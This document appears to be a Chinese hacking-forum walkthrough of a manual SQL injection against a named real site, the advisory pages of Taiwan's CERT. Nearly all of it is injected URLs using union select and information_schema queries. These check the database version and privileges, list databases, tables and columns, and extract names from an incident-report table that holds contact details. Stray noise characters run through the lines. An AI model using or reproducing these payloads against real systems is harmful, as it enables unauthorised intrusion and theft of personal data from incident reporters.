1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询
6 F+ v3 {+ n3 |1 J0 }+ O2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
0 E1 O- {, M; J. w* w- yhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
- V5 Q8 w5 ?# n1 `) J9 S, d3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--" M# _/ g5 j, v2 n/ a S
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。) T% X! E' l3 ~
4.判断有没有写权限2 K0 k. u/ u/ t
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
$ ?% [* j! z6 `; C* y没办法,手动猜表啦. ]: n4 T+ ]+ i3 X" I8 N/ _
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
" S" R( `# F8 M但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下6 J& c/ X( j3 I, ]8 q
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
% z3 B+ O7 T, H8 v' N成功查出所有数据库,国外的黑客就是不一般。数据库如下:9 E/ K6 P y, R) E6 ~! x: s( Y# y
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
' k/ [. L* k6 h) {3 s) _/ ~2 s6.爆表,爆的是twcert库* Y5 t" Y/ m9 a! X0 o) F6 K+ \
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
+ O/ A$ \7 T1 m* G爆出如下表
) \' b! k# `' [" |& s0 @/ n& |downloadfile,irsys,newsdata,secrpt,secrpt_big5
) \% ^% T9 @1 s9 F7 r- Z7.爆列名,这次爆的是irsys表
$ p, {% l( I' Chttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--9 ]) l7 F: M% \6 C
爆出如下列/ P3 V3 h( n$ a9 s% I
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
' z" c' n: { S1 @4 @" L8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。. @2 |# T/ b! V' p% K- N5 J
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
4 a0 ?# B! v5 p返回是3,说明每个列里有3个地段! u' s% h% W; |/ k' e; c a& B
9.爆字段内容
' k" |- `- \4 n0 |http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--, m) a7 s9 i* ?2 x" {" {+ X0 Z
爆出name列的第一个字段的内容
& y6 o+ m- y6 v9 b; I$ mhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--9 J, r! Y; `$ t
爆出name列的第二个字段的内容 |